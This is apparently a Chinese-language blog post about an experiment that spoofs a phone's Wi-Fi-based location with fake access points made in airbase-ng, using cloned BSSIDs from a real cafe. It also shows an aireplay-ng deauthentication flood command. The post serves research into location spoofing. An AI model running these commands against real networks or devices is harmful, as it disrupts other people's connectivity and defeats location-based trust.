如同前面所提到,我們需要偽造外部訊號,這可能需要一些硬體裝置。上網查了一下 GPS Signal Generator 一台就是上萬塊,嗯…跳過;要偽造基地台訊號,好像也沒有什麼頭緒(領域不熟)。唯一看起來比較可行的似乎就是從 wifi AP 著手了,而且從上面 Google API query 發現,雖然文件中對 AP 描述的參數很多,但實際上只要丟 macAddress 就可以很準確定位了。所以我猜測,如果手機定位也是這般單純的話,收集其他地方的 AP mac address,並且利用 google API 測試這些 mac address 可以正確查詢到經緯度,用這些 mac address 建幾個假 AP,就能夠成功偽造所在地理位置!

沒想到在 survey 這條路的時候,發現 2008 年已經有人做過一樣的研究 (iPhone and iPod Location Spoofing Attacks)!非常的鉅細靡遺,這篇文章簡單來說,要達成這樣的欺騙,只需要符合兩個條件:

  1. 偽造目的地 AP 環境 (MAC address 符合即可),另外這些 MAC address 必須要能夠從資料庫查詢到,不管是 APPLE, Goole, Skyhook 的 wifi 地理位置資料庫。
  2. 消除目前手機接收到的所有 wifi 訊號,透過發送假訊號塞爆(jam)連線。

OKay!照著這兩條準則實驗看看囉 :p

驗證

偽造 AP

原本的研究用了另外的硬體設備去偽造,似乎有些麻煩。這邊我只用了一張網卡,用軟體控制網卡發送 beacons 封包,一張網卡就可以偽造多個 AP。 使用的軟體是好朋友 airbase-ng,其實也只下了三行指令偽造了三台 AP,是前兩天去台電大樓伯朗咖啡抓來的 AP 資訊

1
2
3
4
5
airbase-ng -c <頻道> -e <欲偽造的 ESSID> -a <欲偽造的 BSSID> <網卡>

airbase-ng -c 11 -e "TPE-Free Bus" -a d8:c7:c8:78:--:-- wlan2
airbase-ng -c 6 -e WIFLY -a 78:cd:8e:a6:--:-- wlan2
airbase-ng -c 1 -e "CHT Wi-Fi(HiNet)" -a ce:5d:4e:eb:--:-- wlan2

建立好 AP 後,手機上就可以多偵測到三台 SSID 為 TPE-Free Bus、WIFLY、CHT Wi-Fi(HiNet) 的 AP。直接打開 google map,竟然已經在台電大樓旁邊的伯朗咖啡了,距離實際所在地直線距離約六公里 LOL

Screenshot_2013-07-13-19-35-55.png

消除其他 AP 訊號

由於這次實驗的地方是在高樓,其他 AP 訊號本來就比較薄弱,所以直接偽造目的地 AP 就可以成功改變地理位置。 對於怎樣讓手機不要掃到特定 AP 訊號這件事情,我實在沒有什麼特別想法,除非是拿硬體干擾,或是在手機包一圈能削弱無限訊號的材質,這些都有點麻煩。用了 wifi jammer 當關鍵字搜尋,大部分都是利用不斷發送 deauth 封包讓人不能連線,這個動作是能讓人連不到 AP 沒錯,但並不是讓裝置找不到 AP 訊號,那已經是應用層的攻擊而不是實體層的攻擊了。不過還是分享一下怎樣做到 deauth 的,用另一個好朋友 aireplay-ng:

1
2
3
aireplay-ng --deauth <次數> -o 1 -a <AP  BSSID> -e <AP  SSID> -c <手持裝置的BSSID> mon0
ex:
aireplay-ng --deauth 9999999 -o 1 -a 11:22:33:44:55:66 -e targetAP -c 77:88:99:00:aa:bb mon0

雖然不太方便消除原本的 AP 訊號,但經過測試,放多一點偽造 AP 還是可以成功欺騙的,例如目前手機能夠接受到三個正常 AP 訊號,我們就偽造五六七八個目的地 AP 訊號。這點可以利用 Google Maps Geolocation API 證實,丟五個目的地 AP 資訊和三個真實地 AP 資訊,最後回傳的地點是目的地的經緯度,多數決 :)。而且通常偽造的 AP 訊號都會比較強(你應該是坐在網卡旁邊做實驗吧XD),多少也造成了欺騙的成功率。

結論

本篇目的是為了證實是否可以透過偽造假 AP 的方式,改變手持裝置的地理位置。經過簡單的實驗發現的確能做到這樣的事情,雖然成功的條件稍嫌嚴苛(現在很少 AP 訊號很少的地方了吧!),可能要到樓頂阿或是操場正中央啦!不過還是可以透過偽造多一點 AP 來達成。也許有些人會問為什麼要這麼麻煩做這些事情?一來純研究,二來對某些瘋狂的人來說,這個結果可能會是寶貝吧:p

其實對於真實地理位置欺騙這件事情,心中還有幾個想法,所以標題放了(1),那就期待接下來 shaolin’s 20% time 有沒有做出什麼成果囉!希望能成功,下次見XD